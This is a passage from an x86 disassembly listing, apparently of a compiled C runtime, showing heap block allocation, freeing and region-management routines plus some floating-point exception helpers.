		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41B873
; ---------------------------------------------------------------------------

loc_41B84E:				; CODE XREF: sub_41B592+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41B864
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi

loc_41B864:				; CODE XREF: sub_41B592+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h

loc_41B873:				; CODE XREF: sub_41B592+2BAj
		shr	edx, cl
		or	[eax], edx

loc_41B877:				; CODE XREF: sub_41B592+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax

loc_41B880:				; CODE XREF: sub_41B592+1A2j
					; sub_41B592:loc_41B740j
		push	1
		pop	eax

loc_41B883:				; CODE XREF: sub_41B592+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B888	proc near		; CODE XREF: sub_41BB80:loc_41BD4Fp
		cmp	dword_433EA0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41B89C
		mov	esi, offset off_433E90
		jmp	short loc_41B8B9
; ---------------------------------------------------------------------------

loc_41B89C:				; CODE XREF: sub_41B888+Bj
		push	2020h
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2720000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41B9C5

loc_41B8B9:				; CODE XREF: sub_41B888+12j
		mov	ebp, dword_4241B4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41B9AE
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41B9A0
		mov	eax, offset off_433E90
		cmp	esi, eax
		jnz	short loc_41B918
		cmp	off_433E90, 0
		jnz	short loc_41B908
		mov	off_433E90, eax

loc_41B908:				; CODE XREF: sub_41B888+79j
		cmp	off_433E94, 0
		jnz	short loc_41B92D
		mov	off_433E94, eax
		jmp	short loc_41B92D
; ---------------------------------------------------------------------------

loc_41B918:				; CODE XREF: sub_41B888+70j
		mov	[esi], eax
		mov	eax, off_433E94
		mov	[esi+4], eax
		mov	off_433E94, esi
		mov	eax, [esi+4]
		mov	[eax], esi

loc_41B92D:				; CODE XREF: sub_41B888+87j
					; sub_41B888+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h

loc_41B94F:				; CODE XREF: sub_41B888+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41B94F
		push	ebx
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch

loc_41B978:				; CODE XREF: sub_41B888+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41B99C
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41B978
; ---------------------------------------------------------------------------

loc_41B99C:				; CODE XREF: sub_41B888+F7j
		mov	eax, esi
		jmp	short loc_41B9C7
; ---------------------------------------------------------------------------

loc_41B9A0:				; CODE XREF: sub_41B888+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 28706C3h

loc_41B9AE:				; CODE XREF: sub_41B888+4Bj
		cmp	esi, offset off_433E90
		jz	short loc_41B9C5
		push	esi
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2710439h

loc_41B9C5:				; CODE XREF: sub_41B888+2Bj
					; sub_41B888+12Cj
		xor	eax, eax

loc_41B9C7:				; CODE XREF: sub_41B888+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B888	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B9CC	proc near		; CODE XREF: sub_41BA22+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 28706C3h
		cmp	off_435EB0, esi
		jnz	short loc_41B9F1
		mov	eax, [esi+4]
		mov	off_435EB0, eax

loc_41B9F1:				; CODE XREF: sub_41B9CC+1Bj
		cmp	esi, offset off_433E90
		jz	short loc_41BA19
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4CF024
		call	near ptr 2710439h
		nop
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41BA19:				; CODE XREF: sub_41B9CC+2Bj
		or	dword_433EA0, 0FFFFFFFFh
		pop	esi
		retn
sub_41B9CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA22	proc near		; CODE XREF: sub_41BB3B+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_433E94
		push	edi

loc_41BA2F:				; CODE XREF: sub_41BA22+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41BACD
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h

loc_41BA48:				; CODE XREF: sub_41BA22+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41BA89
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		nop
		call	near ptr 28706C3h
		test	eax, eax
		jz	short loc_41BA89
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4CDA1C
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41BA7E
		cmp	eax, edi
		jbe	short loc_41BA81

loc_41BA7E:				; CODE XREF: sub_41BA22+56j
		mov	[esi+0Ch], edi

loc_41BA81:				; CODE XREF: sub_41BA22+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41BA96

loc_41BA89:				; CODE XREF: sub_41BA22+2Cj
					; sub_41BA22+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41BA48

loc_41BA96:				; CODE XREF: sub_41BA22+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41BACD
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41BACD
		push	1
		lea	eax, [ecx+20h]
		pop	edx

loc_41BAAD:				; CODE XREF: sub_41BA22+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41BABE
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41BAAD

loc_41BABE:				; CODE XREF: sub_41BA22+8Ej
		cmp	edx, 400h
		jnz	short loc_41BACD
		push	ecx
		call	sub_41B9CC
		pop	ecx

loc_41BACD:				; CODE XREF: sub_41BA22+11j
					; sub_41BA22+7Dj ...
		cmp	esi, off_433E94
		jz	short loc_41BADF
		cmp	[ebp+arg_0], 0
		jg	loc_41BA2F

loc_41BADF:				; CODE XREF: sub_41BA22+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BA22	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BAE4	proc near		; CODE XREF: sub_417C3B+3Ap
					; sub_41944F+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_433E90
		push	esi
		mov	ecx, edx

loc_41BAF0:				; CODE XREF: sub_41BAE4+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41BAFA
		cmp	eax, [ecx+14h]
		jb	short loc_41BB02

loc_41BAFA:				; CODE XREF: sub_41BAE4+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41BB37
		jmp	short loc_41BAF0
; ---------------------------------------------------------------------------

loc_41BB02:				; CODE XREF: sub_41BAE4+14j
		test	al, 0Fh
		jnz	short loc_41BB37
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41BB37
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------

loc_41BB37:				; CODE XREF: sub_41BAE4+1Aj
					; sub_41BAE4+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41BAE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB3B	proc near		; CODE XREF: sub_417C3B+4Dp
					; sub_41944F+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41BB7F
		inc	dword_4CDA1C
		cmp	dword_4CDA1C, 20h
		jnz	short locret_41BB7F
		push	10h
		call	sub_41BA22
		pop	ecx

locret_41BB7F:				; CODE XREF: sub_41BB3B+2Bj
					; sub_41BB3B+3Aj
		retn
sub_41BB3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB80	proc near		; CODE XREF: sub_417BC7+4Ap
					; sub_41944F+1ACp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_435EB0
		push	edi

loc_41BB8E:				; CODE XREF: sub_41BB80+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41BC39
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41BBF3

loc_41BBB9:				; CODE XREF: sub_41BB80+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41BBDC
		cmp	[edi+4], ebx
		jbe	short loc_41BBDC
		push	ebx
		push	ecx
		push	eax
		call	sub_41BD88
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC4B
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx

loc_41BBDC:				; CODE XREF: sub_41BB80+40j
					; sub_41BB80+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41BBB9
		jmp	short loc_41BBF6
; ---------------------------------------------------------------------------

loc_41BBF3:				; CODE XREF: sub_41BB80+37j
		mov	ebx, [ebp+arg_0]

loc_41BBF6:				; CODE XREF: sub_41BB80+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41BC3C

loc_41BC09:				; CODE XREF: sub_41BB80+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41BC28
		cmp	[edi+4], ebx
		jbe	short loc_41BC28
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41BD88
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC4B
		mov	[edi+4], ebx

loc_41BC28:				; CODE XREF: sub_41BB80+8Dj
					; sub_41BB80+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41BC09
		jmp	short loc_41BC3C
; ---------------------------------------------------------------------------

loc_41BC39:				; CODE XREF: sub_41BB80+14j
		mov	ebx, [ebp+arg_0]

loc_41BC3C:				; CODE XREF: sub_41BB80+87j
					; sub_41BB80+B7j
		mov	esi, [esi]
		cmp	esi, off_435EB0
		jz	short loc_41BC5B
		jmp	loc_41BB8E
; ---------------------------------------------------------------------------

loc_41BC4B:				; CODE XREF: sub_41BB80+54j
					; sub_41BB80+A3j
		mov	off_435EB0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41BD83
; ---------------------------------------------------------------------------

loc_41BC5B:				; CODE XREF: sub_41BB80+C4j
		mov	eax, offset off_433E90
		mov	edi, eax

loc_41BC62:				; CODE XREF: sub_41BB80+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41BC6E
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41BC7A

loc_41BC6E:				; CODE XREF: sub_41BB80+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41BD4F
		jmp	short loc_41BC62
; ---------------------------------------------------------------------------

loc_41BC7A:				; CODE XREF: sub_41BB80+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41BCA9

loc_41BC98:				; CODE XREF: sub_41BB80+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41BCA9
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41BC98

loc_41BCA9:				; CODE XREF: sub_41BB80+116j
					; sub_41BB80+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	near ptr 2870843h
		nop
		cmp	eax, esi
		jnz	loc_41BD81
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_417330
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41BD10
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx

loc_41BCE6:				; CODE XREF: sub_41BB80+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41BCE6

loc_41BD10:				; CODE XREF: sub_41BB80+15Ej
		mov	off_435EB0, edi
		lea	eax, [edi+2018h]

loc_41BD1C:				; CODE XREF: sub_41BB80+1A8j
		cmp	ecx, eax
		jnb	short loc_41BD2C
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41BD2A
		add	ecx, 8
		jmp	short loc_41BD1C
; ---------------------------------------------------------------------------

loc_41BD2A:				; CODE XREF: sub_41BB80+1A3j
		cmp	ecx, eax

loc_41BD2C:				; CODE XREF: sub_41BB80+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41BD83
; ---------------------------------------------------------------------------

loc_41BD4F:				; CODE XREF: sub_41BB80+F2j
		call	sub_41B888
		test	eax, eax
		jz	short loc_41BD81
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_435EB0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41BD83
; ---------------------------------------------------------------------------

loc_41BD81:				; CODE XREF: sub_41BB80+143j
					; sub_41BB80+1D6j
		xor	eax, eax

loc_41BD83:				; CODE XREF: sub_41BB80+D6j
					; sub_41BB80+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BB80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD88	proc near		; CODE XREF: sub_41BB80+4Ap
					; sub_41BB80+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41BDCD
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41BDBC
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41BDC5
; ---------------------------------------------------------------------------

loc_41BDBC:				; CODE XREF: sub_41BD88+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41BDC5:				; CODE XREF: sub_41BD88+32j
		lea	eax, [edi+8]
		jmp	loc_41BE9B
; ---------------------------------------------------------------------------

loc_41BDCD:				; CODE XREF: sub_41BD88+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41BDD6
		mov	eax, esi

loc_41BDD6:				; CODE XREF: sub_41BD88+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41BE20

loc_41BDDD:				; CODE XREF: sub_41BD88+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41BE13
		push	1
		lea	ebx, [eax+1]
		pop	esi

loc_41BDE9:				; CODE XREF: sub_41BD88+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41BDF2
		inc	ebx
		inc	esi
		jmp	short loc_41BDE9
; ---------------------------------------------------------------------------

loc_41BDF2:				; CODE XREF: sub_41BD88+64j
		cmp	esi, edx
		jnb	short loc_41BE44
		cmp	eax, [ebp+var_4]
		jnz	short loc_41BE00
		mov	[ecx+4], esi
		jmp	short loc_41BE0C
; ---------------------------------------------------------------------------

loc_41BE00:				; CODE XREF: sub_41BD88+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41BEA5

loc_41BE0C:				; CODE XREF: sub_41BD88+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41BE18
; ---------------------------------------------------------------------------

loc_41BE13:				; CODE XREF: sub_41BD88+59j
		movzx	esi, bl
		add	eax, esi

loc_41BE18:				; CODE XREF: sub_41BD88+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41BDDD

loc_41BE20:				; CODE XREF: sub_41BD88+53j
		lea	esi, [ecx+8]

loc_41BE23:				; CODE XREF: sub_41BD88+EBj
					; sub_41BD88+F2j
		cmp	esi, edi
		jnb	short loc_41BEA5
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41BEA5
		mov	al, [esi]
		test	al, al
		jnz	short loc_41BE75
		push	1
		lea	ebx, [esi+1]
		pop	eax

loc_41BE3B:				; CODE XREF: sub_41BD88+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41BE65
		inc	ebx
		inc	eax
		jmp	short loc_41BE3B
; ---------------------------------------------------------------------------

loc_41BE44:				; CODE XREF: sub_41BD88+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41BE55
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41BE5E
; ---------------------------------------------------------------------------

loc_41BE55:				; CODE XREF: sub_41BD88+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi

loc_41BE5E:				; CODE XREF: sub_41BD88+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41BE9B
; ---------------------------------------------------------------------------

loc_41BE65:				; CODE XREF: sub_41BD88+B6j
		cmp	eax, edx
		jnb	short loc_41BE7C
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41BEA5
		mov	esi, ebx
		jmp	short loc_41BE23
; ---------------------------------------------------------------------------

loc_41BE75:				; CODE XREF: sub_41BD88+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41BE23
; ---------------------------------------------------------------------------

loc_41BE7C:				; CODE XREF: sub_41BD88+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41BE8D
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41BE96
; ---------------------------------------------------------------------------

loc_41BE8D:				; CODE XREF: sub_41BD88+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax

loc_41BE96:				; CODE XREF: sub_41BD88+103j
		mov	[esi], dl
		lea	eax, [esi+8]

loc_41BE9B:				; CODE XREF: sub_41BD88+40j
					; sub_41BD88+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41BEA7
; ---------------------------------------------------------------------------

loc_41BEA5:				; CODE XREF: sub_41BD88+7Ej
					; sub_41BD88+9Dj ...
		xor	eax, eax

loc_41BEA7:				; CODE XREF: sub_41BD88+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BD88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BEAC	proc near		; CODE XREF: sub_41944F+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41BEE6
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------

loc_41BEE6:				; CODE XREF: sub_41BEAC+26j
		jnb	short loc_41BF4D
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41BF4D
		lea	eax, [ecx+edx]

loc_41BEFB:				; CODE XREF: sub_41BEAC+59j
		cmp	eax, esi
		jnb	short loc_41BF09
		cmp	byte ptr [eax],	0
		jnz	short loc_41BF07
		inc	eax
		jmp	short loc_41BEFB
; ---------------------------------------------------------------------------

loc_41BF07:				; CODE XREF: sub_41BEAC+56j
		cmp	eax, esi

loc_41BF09:				; CODE XREF: sub_41BEAC+51j
		jnz	short loc_41BF4D
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41BF41
		cmp	esi, eax
		jbe	short loc_41BF41
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41BF38
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41BF33

loc_41BF2C:				; CODE XREF: sub_41BEAC+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41BF2C

loc_41BF33:				; CODE XREF: sub_41BEAC+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------

loc_41BF38:				; CODE XREF: sub_41BEAC+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax

loc_41BF41:				; CODE XREF: sub_41BEAC+68j
					; sub_41BEAC+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx

loc_41BF46:				; CODE XREF: sub_41BEAC+38j
		mov	[ebp+var_4], 1

loc_41BF4D:				; CODE XREF: sub_41BEAC:loc_41BEE6j
					; sub_41BEAC+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BEAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_41BF55(int,int,double,int)

sub_41BF55	proc near		; CODE XREF: sub_417CA4+51p
					; sub_417DEB+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_436608, 0
		jnz	short loc_41BF8A
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_41C50A
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41BF8A:				; CODE XREF: sub_41BF55+Aj
		push	0FFFFh
		mov	dword_4CD9B4, 21h
		push	[ebp+arg_C]
		call	sub_41C77D
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_41BF55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41BFA8(int,int,double,double,int)

sub_41BFA8	proc near		; CODE XREF: sub_417CA4:loc_417D67p
					; sub_417DEB:loc_417EAEp

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2F3
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BFE6
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_41C040
		add	esp, 18h

loc_41BFE6:				; CODE XREF: sub_41BFA8+1Aj
		push	[ebp+arg_0]
		call	sub_41C5DD
		cmp	dword_436608, 0
		pop	ecx
		jnz	short loc_41C024
		test	eax, eax
		jz	short loc_41C024
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_41C50A
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------

loc_41C024:				; CODE XREF: sub_41BFA8+4Ej
					; sub_41BFA8+52j
		push	eax
		call	sub_41C592
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_41C77D
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_41BFA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C040	proc near		; CODE XREF: sub_41BFA8+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_41C072
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx

loc_41C072:				; CODE XREF: sub_41C040+23j
		test	cl, 2
		jz	short loc_41C085
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2

loc_41C085:				; CODE XREF: sub_41C040+35j
		test	cl, bl
		jz	short loc_41C097
